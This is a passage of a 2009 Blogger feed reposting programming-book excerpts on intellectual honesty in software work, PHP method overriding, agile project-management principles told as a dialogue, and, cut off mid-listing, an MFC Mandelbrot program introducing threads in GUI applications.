Site'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4749548814950464609</id><published>2009-11-13T07:50:00.027-08:00</published><updated>2009-11-13T07:50:26.611-08:00</updated><title type='text'>33.4. Intellectual Honesty</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Free Open Study&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 class="docSection1Title" &gt;33.4. Intellectual Honesty&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Part of maturing as a programming professional is developing an uncompromising sense of intellectual honesty. Intellectual honesty commonly manifests itself in several ways:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;Refusing to pretend you're an expert when you're not&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Readily admitting your mistakes&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Trying to understand a compiler warning rather than suppressing the message&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Clearly understanding your program�not compiling it to see if it works&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Providing realistic status reports&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Providing realistic schedule estimates and holding your ground when management asks you to adjust them&lt;/P&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The first two items on this list�admitting that you don't know something or that you made a mistake�echo the theme of intellectual humility discussed earlier. How can you learn anything new if you pretend that you know everything already? You'd be better off pretending that you don't know anything. Listen to people's explanations, learn something new from them, and assess whether &lt;span class="docEmphasis"&gt;they&lt;/span&gt; know what &lt;span class="docEmphasis"&gt;they&lt;/span&gt; are talking about.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Be ready to quantify your degree of certainty on any issue. If it's usually 100 percent, that's a warning sign.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Refusing to admit mistakes is a particularly annoying habit. If Sally refuses to admit a mistake, she apparently believes that not admitting the mistake will trick others into believing that she didn't make it. The opposite is true. Everyone will know she made a mistake. Mistakes are accepted as part of the ebb and flow of complex intellectual activities, and as long as she hasn't been negligent, no one will hold mistakes against her.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Any fool can defend his or her mistakes�and most fools do.&lt;/P&gt;&lt;p class="docText"&gt;�Dale Carnegie&lt;/P&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If she refuses to admit a mistake, the only person she'll fool is herself. Everyone else will learn that they're working with a prideful programmer who's not completely honest. That's a more damning fault than making a simple error. If you make a mistake, admit it quickly and emphatically.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Pretending to understand compiler messages when you don't is another common blind spot. If you don't understand a compiler warning or if you think you know what it means but are too pressed for time to check it, guess what's really a waste of time? You'll probably end up trying to solve the problem from the ground up while the compiler waves the solution in your face. I've had several people ask for help in debugging programs. I'll ask if they have a clean compile, and they'll say yes. Then they'll start to explain the symptoms of the problem, and I'll say, &amp;quot;Hmmmm. That sounds like it would be an uninitialized pointer, but the compiler should have warned you about that.&amp;quot; Then they'll say, &amp;quot;Oh yeah�it did warn about that. We thought it meant something else.&amp;quot; It's hard to fool other people about your mistakes. It's even harder to fool the computer, so don't waste your time trying.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;A related kind of intellectual sloppiness occurs when you don't quite understand your program and &amp;quot;just compile it to see if it works.&amp;quot; One example is running the program to see whether you should use &lt;span class="docEmphasis"&gt;&amp;lt;&lt;/span&gt; or &lt;span class="docEmphasis"&gt;&amp;lt;=&lt;/span&gt;. In that situation, it doesn't really matter whether the program works because you don't understand it well enough to know why it works. Remember that testing can show only the presence of errors, not their absence. If you don't understand the program, you can't test it thoroughly. Feeling tempted to compile a program to &amp;quot;see what happens&amp;quot; is a warning sign. It might mean that you need to back up to design or that you began coding before you were sure you knew what you were doing. Make sure you have a strong intellectual grip on the program before you relinquish it to the compiler.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The first 90 percent of the code accounts for the first 90 percent of the development time. The remaining 10 percent of the code accounts for the other 90 percent of the development time.&lt;/p&gt;&lt;p class="docText"&gt;�Tom Cargill&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Status reporting is an area of scandalous duplicity. Programmers are notorious for saying that a program is &amp;quot;90 percent complete&amp;quot; during the last 50 percent of the project. If your problem is that you have a poor sense of your own progress, you can solve it by learning more about how you work. But if your problem is that you don't speak your mind because you want to give the answer your manager wants to hear, that's a different story. A manager usually appreciates honest observations about the status of a project, even if they're not the opinions the manager wants to hear. If your observations are well thought out, give them as dispassionately as you can and in private. Management needs to have accurate information to coordinate development activities, and full cooperation is essential.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;cc2e.com/3341&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;An issue related to inaccurate status reporting is inaccurate estimation. The typical scenario goes like this: Management asks Bert for an estimate of how long it would take to develop a new database product. Bert talks to a few programmers, crunches some numbers, and comes back with an estimate of eight programmers and six months. His manager says, &amp;quot;That's not really what we're looking for. Can you do it in a shorter time, with fewer programmers?&amp;quot; Bert goes away and thinks about it and decides that for a short period he could cut training and vacation time and have everyone work a little overtime. He comes back with an estimate of six programmers and four months. His manager says, &amp;quot;That's great. This is a relatively low-priority project, so try to keep it on time without any overtime because the budget won't allow it.&amp;quot;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The mistake Bert made was not realizing that estimates aren't negotiable. He can revise an estimate to be more accurate, but negotiating with his boss won't change the time it takes to develop a software project. IBM's Bill Weimer says, &amp;quot;We found that technical people, in general, were actually very good at estimating project requirements and schedules. The problem they had was defending their decisions; they needed to learn how to hold their ground&amp;quot; (Weimer in Metzger and Boddie 1996). Bert's not going to make his manager any happier by promising to deliver a project in four months and delivering it in six than he would by promising and delivering it in six. He'll lose credibility by compromising, and he'll gain respect by standing firm on his estimate.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If management applies pressure to change your estimate, realize that ultimately the decision whether to do a project rests with management: &amp;quot;Look. This is how much it's going to cost. I can't say whether it's worth this price to the company�that's your job. But I can tell you how long it takes to develop a piece of software�that's my job. I can't 'negotiate' how long it will take; that's like negotiating how many feet are in a mile. You can't negotiate laws of nature. We can, however, negotiate other aspects of the project that affect the schedule and then reestimate the schedule. We can eliminate features, reduce performance, develop the project in increments, or use fewer people and a longer schedule or more people and a shorter schedule.&amp;quot;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;One of the scariest exchanges I've ever heard was at a lecture on managing software projects. The speaker was the author of a best-selling software-project-management book. A member of the audience asked, &amp;quot;What do you do if management asks for an estimate and you know that if you give them an accurate estimate they'll say it's too high and decide not to do the project?&amp;quot; The speaker responded that that was one of those tricky areas in which you had to get management to buy into the project by underestimating it. He said that once they'd invested in the first part of the project, they'd see it through to the end.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Wrong answer! Management is responsible for the big-picture issues of running a company. If a certain software capability is worth $250K to a company and you estimate it will cost $750K to develop, the company shouldn't develop the software. It's management's responsibility to make such judgments. When the speaker advocated lying about the project's cost, telling management it would cost less than it really would, he advocated covertly stealing management's authority. If you think a project is interesting, breaks important new ground for the company, or provides valuable training, say so. Management can weigh those factors, too. But tricking management into making the wrong decision could literally cost the company hundreds of thousands of dollars. If it costs you your job, you'll have gotten what you deserve.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Free Open Study&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4749548814950464609?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4749548814950464609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/334-intellectual-honesty.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4749548814950464609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4749548814950464609'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/334-intellectual-honesty.html' title='33.4. Intellectual Honesty'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4385740859331117374</id><published>2009-11-13T07:50:00.025-08:00</published><updated>2009-11-13T07:50:23.995-08:00</updated><title type='text'>Overriding Methods</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;h3 class="docSection1Title" id="454154-975"&gt;Overriding Methods&lt;/h3&gt;&lt;br /&gt;&lt;p class="docText"&gt;What if you're deriving a new class from a base class and happen to create a method in the new class with the same name as a method in the base class? In that case, you &lt;span class="docEmphasis"&gt;override&lt;/span&gt; the base class's method, and objects of the new class use the new method instead of the base class's method.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;For example, here's the &lt;tt&gt;set_name&lt;/tt&gt; method in the &lt;tt&gt;Animal&lt;/tt&gt; class:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;function set_name($text)&lt;br /&gt;{&lt;br /&gt;    $this-&amp;gt;name = $text;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Now that we've created a new &lt;tt&gt;Lion&lt;/tt&gt; class, we might decide it would be more befitting a lion's status to have its name in all capital letters. Thus, we might add a new method, also called &lt;tt&gt;set_name&lt;/tt&gt;, to the &lt;tt&gt;Lion&lt;/tt&gt; class, which converts the name you pass it to all capital letters using the &lt;tt&gt;strtoupper&lt;/tt&gt; method:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;function set_name($text)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="docEmphStrong"&gt;$this-&amp;gt;name = strtoupper($text);&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;BR&gt;&lt;br /&gt;&lt;p class="docText"&gt;Now when you call &lt;tt&gt;set_name&lt;/tt&gt; using an object of the &lt;tt&gt;Lion&lt;/tt&gt; class, the &lt;tt&gt;Lion&lt;/tt&gt; class's version of the &lt;tt&gt;set_name&lt;/tt&gt; method is called, not the base class's version. You can see that at work in phpoverride.php, Example 7-4.&lt;/P&gt;&lt;br /&gt;&lt;h5 class="docExampleTitle"&gt;Example 7-4. Overriding methods, phpoverride.php&lt;/H5&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;HTML&amp;gt;&lt;br /&gt;    &amp;lt;HEAD&amp;gt;&lt;br /&gt;        &amp;lt;TITLE&amp;gt;&lt;br /&gt;            Overriding methods&lt;br /&gt;        &amp;lt;/TITLE&amp;gt;&lt;br /&gt;    &amp;lt;/HEAD&amp;gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;BODY&amp;gt;&lt;br /&gt;        &amp;lt;CENTER&amp;gt;&lt;br /&gt;            &amp;lt;H1&amp;gt;&lt;br /&gt;                Overriding methods&lt;br /&gt;            &amp;lt;/H1&amp;gt;&lt;br /&gt;            &amp;lt;?php&lt;br /&gt;                class animal&lt;br /&gt;                {&lt;br /&gt;                    var $name;&lt;br /&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;function set_name($text)&lt;/span&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;{&lt;/span&gt;&lt;br /&gt;                        &lt;span class="docEmphStrong"&gt;$this-&amp;gt;name = $text;&lt;/span&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;}&lt;/span&gt;&lt;br /&gt;                    function get_name()&lt;br /&gt;                    {&lt;br /&gt;                        return $this-&amp;gt;name;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                class Lion extends Animal&lt;br /&gt;                {&lt;br /&gt;                    var $name;&lt;br /&gt;&lt;br /&gt;                    function roar()&lt;br /&gt;                    {&lt;br /&gt;                        echo $this-&amp;gt;name, " is roaring!&amp;lt;BR&amp;gt;";&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;function set_name($text)&lt;/span&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;{&lt;/span&gt;&lt;br /&gt;                        &lt;span class="docEmphStrong"&gt;$this-&amp;gt;name = strtoupper($text);&lt;/span&gt;&lt;br /&gt;                    &lt;span class="docEmphStrong"&gt;}&lt;/span&gt;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                echo "Creating your new lion...&amp;lt;BR&amp;gt;";&lt;br /&gt;                $lion = new Lion;&lt;br /&gt;                &lt;span class="docEmphStrong"&gt;$lion-&amp;gt;set_name("Leo");&lt;/span&gt;&lt;br /&gt;                $lion-&amp;gt;roar();&lt;br /&gt;            ?&amp;gt;&lt;br /&gt;        &amp;lt;/CENTER&amp;gt;&lt;br /&gt;    &amp;lt;/BODY&amp;gt;&lt;br /&gt;&amp;lt;/HTML&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The results appear in Figure 7-4note that the overridden version of the method was indeed executed.&lt;/P&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;center&gt;&lt;h5 class="docFigureTitle"&gt;Figure 7-4. Overriding methods.&lt;/h5&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;div class="v1"&gt;[View full size image]&lt;/div&gt;&lt;/p&gt;&lt;/center&gt;&lt;/p&gt;&lt;BR&gt;&lt;br /&gt;&lt;ul&gt;&lt;/UL&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4385740859331117374?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4385740859331117374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/overriding-methods.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4385740859331117374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4385740859331117374'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/overriding-methods.html' title='Overriding Methods'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-856437432866995279</id><published>2009-11-13T07:50:00.023-08:00</published><updated>2009-11-13T07:50:21.944-08:00</updated><title type='text'>Principles and Practices</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;tr style="background-image: url(images/tile_back.gif);"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Day Day Up&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt;Principles and Practices&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Hi, Maya, it's Herman."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Hi, dude, how's your project going?" asked Maya.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Pretty well. Things are actually moving along. We've implemented a few of the agile practices. But you know, I'm just an action kind of guy. Just explain the practices to me. The principles stuff still seems like fluff."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"I thought they were fluff, too, at the beginning," Maya responded. "But once you've used APM for a while, you'll understand that it's the principles that make the practices flexible."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"OK, apply principles to iteration planning."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Think about Deliver Customer Value. For us, this principle guides the selection of features. We're constantly asking ourselves whether one feature is more valuable than the next."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"But won't most of the features ship anyway?"&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Possibly, but we keep two things in mind. Sometimes we release incremental versions, and the goal of always having a releasable product really keeps us on our toes."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Isn't early release unlikely?" Herman asked.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Mostly, but last summer we had a customer with a critical problem. We were able to take a product that was three-quarters finished, do a couple of quick special features for the customer, and deliver it in three weeks. The customer was blown away, and this one spends megabucks."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"So, on to the Employ Iterative, Feature-Based Delivery principle. That seems redundant with the practice to me, but maybe that just reinforces its importance."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"That's the general idea. See, you already understand this stuff, Herman! You just don't trust it yet." Maya grinned to herself. She knew it was hard for Herman, who worked for a 75-year-old insurance firm, to break with the conservative, traditional approach that Great Mid-West had always taken to everything, but he was trying, and she gave him lots of credit.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"That's fine as far as it goes, but does this scale? You and I both know that any competent PM can complete a small, short-term project on force of will alone, but that all changes when you scale the whole thing up."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Yeah, but that's where the Simplify principle comes in. It's how you scale everything up without tripping over yourself and your process. For example, on Jupiter, the new project I'm running, we have a big team. And to make matters worse, one feature team is distributed. Adopting a collaboration strategy was a given, but we also figured that we might need some additional documentation to keep everyone in sync."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Herman interrupted with a "See, I told you so."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"But the Simplify principle keeps it from turning into the pounds of paperwork you generate," Maya laughed. "We're bears about using the simplest documentation that accomplishes the goal. We work with just a few documents and keep them as informal as we can. Then we adapt them from time to time as we find what works and what doesn't."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"So, you use the principles to help adapt practices to specific situations," Herman said.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Right. Without these guiding principles we could get hung up on the specific practices instead of understanding the intent of the practices. They keep us from going overboard."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"One I really get hung up on is Encourage Exploration," Herman replied. "This whole notion of responding to change over following a plan, of actually embracing change, is really foreign."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"That's a tough one," said Maya. "We can respond to change and deliver reliably. It's all in how you look at the relationship between uncertainty and time."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"My management doesn't care. They just want a commitment," said Herman.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"There is no way around the fact that the higher the uncertainty, the wider the potential schedule variation," said Maya. "It's too bad you aren't here�I need a whiteboard to draw this, but imagine that the probability curve of schedules is a skewed distribution curve, one with a long tail of possible very late delivery dates. High exploration-factor projects have a lot of possible dates based upon technology and requirements volatility."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Everyone around here just assumes a project is a project is a project. There's no allowance for riskier projects�we just get the mantra 'on time, on budget, on scope' over and over. It's like a broken record."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Don't remind me. Hopefully we're past that. In effect, the role of dates changes. In low-uncertainty projects, dates are predictions. For high-uncertainty projects, dates are boundaries, as in 'We will deliver as many features as possible by June.' Does that make sense?"&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"I think I understand, but I'm not sure if the folks around here will get it," Herman said.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"It took us a while to work through it, too," Maya continued. "That's why the principle Encourage Exploration is critical to reducing people's anxiety. I have to keep encouraging people and reminding them that responding to change is part of our day-to-day work. We always have a few people from a conformance-to-plan type organization who get a little crazy at first. We project managers have to encourage them."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;"Lots to think about," said Herman. "Bye for now."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;tr style="background-image: url(images/tile_back.gif);"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Day Day Up&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-856437432866995279?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/856437432866995279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/principles-and-practices.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/856437432866995279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/856437432866995279'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/principles-and-practices.html' title='Principles and Practices'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-307814118953619591</id><published>2009-11-13T07:50:00.021-08:00</published><updated>2009-11-13T07:50:20.406-08:00</updated><title type='text'>6.4 Using Threads in GUI Applications</title><content type='html'>&lt;br /&gt;&lt;TABLE width=100% bgcolor=white border=0 cellspacing=0 cellpadding=5&gt;&lt;TR&gt;&lt;TD&gt;&lt;br /&gt;&lt;TABLE border=0 width="100%" cellspacing=0 cellpadding=0&gt;&lt;TR&gt;&lt;td align=right width="15%" class="headingsubbarbg"&gt;&lt;font size="1"&gt;&amp;lt;&amp;nbsp;BACK&amp;nbsp;&amp;nbsp&lt;font size="1"&gt;NEXT&amp;nbsp;&amp;gt;&lt;/td&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;font color=white size=1&gt;[oR]&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;FONT size="-1"&gt;&lt;br /&gt;			&lt;H3&gt;6.4&lt;br /&gt;Using Threads in GUI Applications&lt;/H3&gt;&lt;br /&gt;			&lt;P&gt;The book entitled &lt;I&gt;Visual C++: Developing Professional Applications for Windows 98 and NT using MFC,&lt;/i&gt; by Marshall Brain and Lance Lovette (ISBN 0-13-085121-3), shows how to use C++ and the Microsoft Foundation Class library to create GUI applications for Windows. In this section we will look at two different ways to use threads in a typical GUI application.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;			&lt;P&gt;Listing 6.6 contains the code for a simple Mandelbrot set program that does not use threads. See Appendix A for compilation instructions. When you run this program, you can choose the &lt;b&gt;Draw&lt;/b&gt; option in the &lt;b&gt;File&lt;/b&gt; menu to cause the window to redraw. Unless you are working with a very zippy machine, do not initially make the window any larger than its default size. Now resize the window so that redrawing takes between 10 and 15 seconds.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;			&lt;br /&gt;				&lt;H5&gt;&lt;br /&gt;Listing 6.6 A simple Mandelbrot set program created with the MFC class hierarchy and C++&lt;/H5&gt;&lt;br /&gt;				&lt;pre ClaSS="monofont"&gt;&lt;br /&gt;// mandel0.cpp&lt;br /&gt;&lt;br /&gt;#include &amp;lt;afxwin.h&amp;gt;&lt;br /&gt;#include "menus.h"&lt;br /&gt;#define NUM_ITERATIONS 64&lt;br /&gt;&lt;br /&gt;const double left = -1.0;&lt;br /&gt;const double right = 1.0;&lt;br /&gt;const double top = -1.0;&lt;br 